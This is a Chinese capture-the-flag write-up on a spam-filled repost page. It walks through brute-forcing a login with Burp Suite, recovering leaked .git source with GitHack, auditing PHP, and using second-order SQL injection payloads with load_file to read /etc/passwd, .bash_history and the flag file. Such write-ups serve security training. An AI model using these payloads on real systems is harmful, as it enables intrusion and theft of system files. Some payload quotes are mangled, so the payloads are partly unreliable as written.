当前位置: 首页 > wzjs >正文

广西建设厅官方网站文件通知北京十大最靠谱it培训机构

广西建设厅官方网站文件通知,北京十大最靠谱it培训机构,个人网站建设推广服务,微站进入题目页面如下 看到有留言板 点击发帖,随便输入内容,提交 跳转到login.php,页面如下 看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位 用burp suite爆破看看能不能爆破出隐藏的三位 先进行抓包 右键…

进入题目页面如下

看到有留言板

点击发帖,随便输入内容,提交

跳转到login.php,页面如下

看到用户名已经给出是zhangwei,密码是zhangwei***,隐藏了三位

用burp suite爆破看看能不能爆破出隐藏的三位

先进行抓包

右键发送到Intruder模块

在隐藏的三个数处添加payload,并按下图设置,并开始攻击

看到长度不同的payload

看到是666

zhangwei

zhangwei666

登录成功

尝试了SQL注入、xss漏洞都无果

用dirsearch扫描根目录试试

dirsearch -u http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/ -e*

看到多个.git路径,猜测是源码泄露

用GitHack下载源码

我是在kali中下载的GitHack

先进入root用户

sudo su

下载克隆Git Hack库

git clone https://github.com/BugScanTeam/GitHack

使用GitHack时,要先cd一下,在Git Hack目录下进行

cd GitHack

GitHack要用python2

python2 GitHack.py http://f9a257b1-1af7-4085-9c6d-a2dcf74f078d.node5.buuoj.cn:81/.git/

显示这个则成功

打开GitHack文件下的dist

看到write_do.php文件

打开看到源码

但是并没有发现可以利用的漏洞

发现还需要

git源码的恢复

命令如下

git log --reflog

复制上面commit的第一个内容

git reset --hard d452e57b5a4a95644a0f7f7cfa2a74d69de6e7f8

再次打开,得到完整代码

 

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

开始审计

<?php
// 包含名为 mysql.php 的文件,该文件可能包含了数据库连接相关的代码
include "mysql.php";// 启动会话,用于存储和获取用户的会话信息
session_start();// 检查会话中的 'login' 变量是否不等于 'yes',如果不等于则表示用户未登录
if($_SESSION['login'] != 'yes'){// 若未登录,使用 header 函数将用户重定向到登录页面 login.phpheader("Location: ./login.php");// 终止当前脚本的执行,防止后续代码继续运行die();
}// 检查是否通过 GET 请求传递了 'do' 参数
if(isset($_GET['do'])){// 根据 'do' 参数的值进行不同的操作switch ($_GET['do']){// 当 'do' 参数的值为 'write' 时case 'write':// 获取 POST 请求中的 'category' 参数,并使用 addslashes 函数对其进行转义,防止 SQL 注入$category = addslashes($_POST['category']);// 获取 POST 请求中的 'title' 参数,并使用 addslashes 函数对其进行转义$title = addslashes($_POST['title']);// 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义$content = addslashes($_POST['content']);// 构建插入数据到 'board' 表的 SQL 语句$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";// 执行 SQL 语句$result = mysql_query($sql);// 将用户重定向到 index.php 页面header("Location: ./index.php");// 跳出 switch 语句break;// 当 'do' 参数的值为 'comment' 时case 'comment':// 获取 POST 请求中的 'bo_id' 参数,并使用 addslashes 函数对其进行转义$bo_id = addslashes($_POST['bo_id']);// 构建查询 'board' 表中指定 'id' 的 'category' 的 SQL 语句$sql = "select category from board where id='$bo_id'";// 执行 SQL 语句$result = mysql_query($sql);// 获取查询结果的行数$num = mysql_num_rows($result);// 如果查询结果的行数大于 0,说明存在符合条件的记录if($num>0){// 获取查询结果中的 'category' 字段值$category = mysql_fetch_array($result)['category'];// 获取 POST 请求中的 'content' 参数,并使用 addslashes 函数对其进行转义$content = addslashes($_POST['content']);// 构建插入数据到 'comment' 表的 SQL 语句$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";// 执行 SQL 语句$result = mysql_query($sql);}// 将用户重定向到 comment.php 页面,并传递 'id' 参数header("Location: ./comment.php?id=$bo_id");// 跳出 switch 语句break;// 当 'do' 参数的值为其他值时default:// 将用户重定向到 index.php 页面header("Location: ./index.php");}
}
// 如果没有通过 GET 请求传递 'do' 参数
else{// 将用户重定向到 index.php 页面header("Location: ./index.php");
}
?>

存在SQL注入

代码使用了 addslashes 函数对用户输入进行转义

addslashes 只是简单地对单引号、双引号、反斜杠等字符进行转义,在某些特定的字符集(如 GBK)下,可以利用宽字节注入绕过这种防护


SQL注入

注入点值为comment

爆出数据库名

1',content=database(),/*

点击提交,点击详情

提交留言填写*/#用于闭合语句

爆出了数据库名,回显ctf

payload

1',content=(select( load_file('/etc/passwd'))),/*

得到信息,用bash进行读取文件
用户为www,读取他的history文件

1’,content=(select (load_file(‘/home/www/.bash_history’))),/*

得到命令

1’,content=(select(hex(load_file(’/tmp/html/.DS_Store’)))),/*

读取.DS_Store文件

得到一串十六进制文本

在线十六进制转字符

flag文件是:flag_8946e1ff1ee3e40f.php

回到/var/www/html中读取flag

1’,content=select(hex(load_file(’/var/www/html/flag_8946e1ff1ee3e40f.php’)))),/*


http://www.dtcms.com/wzjs/167454.html

相关文章:

  • 地税城市维护建设税网站是什么重庆高端网站seo
  • 潍坊做网站建设的公司百度网盟推广
  • 滕州网站建网络营销企业有哪些
  • 折扣卡网站建设百度推广点击软件
  • 深圳金融投资网站建设百度推广点击收费标准
  • 云服务器做网站难吗seo优化主要做什么
  • dz可以做门户网站吗百度视频免费高清影视
  • 网站空间流量是什么搜索广告
  • 永康网站建设百度快照seo
  • 网站建设属于广告费吗湖南长沙seo教育
  • 做电影资源缓存网站教程阐述网络营销策略的内容
  • 女的男的做那个视频网站深圳seo排名哪家好
  • 普通网站 手机网站外贸平台自建站
  • 深圳网站建设网站推广方案成人短期技能培训学校
  • 商务网站开发考卷互联网营销师考试
  • 青岛公司的网站设计seo简介
  • 拜年小程序制作广州seo排名优化公司
  • 网站建设优化兼职在家汕头seo
  • 做百度网站排名软件搜索引擎平台排名
  • 北京企业建网站优帮云济南头条新闻热点
  • 做网站企业经营范围西安网络科技有限公司
  • 网站制作那家便宜baidu百度一下
  • 做网站建设赚钱吗网站seo优化技巧
  • asp.net建立网站百度首页关键词优化
  • 重庆自适应网站建设百度的网址是多少
  • 福州网络公司seo是什么职业做什么的
  • 做微信小程序和做网站电商运营主要负责什么
  • 网站改域名seo排名优化的方法
  • 哪个视频网站做视频赚钱的谷歌搜索引擎免费入口 台湾
  • 做外贸网站流程优化公司排名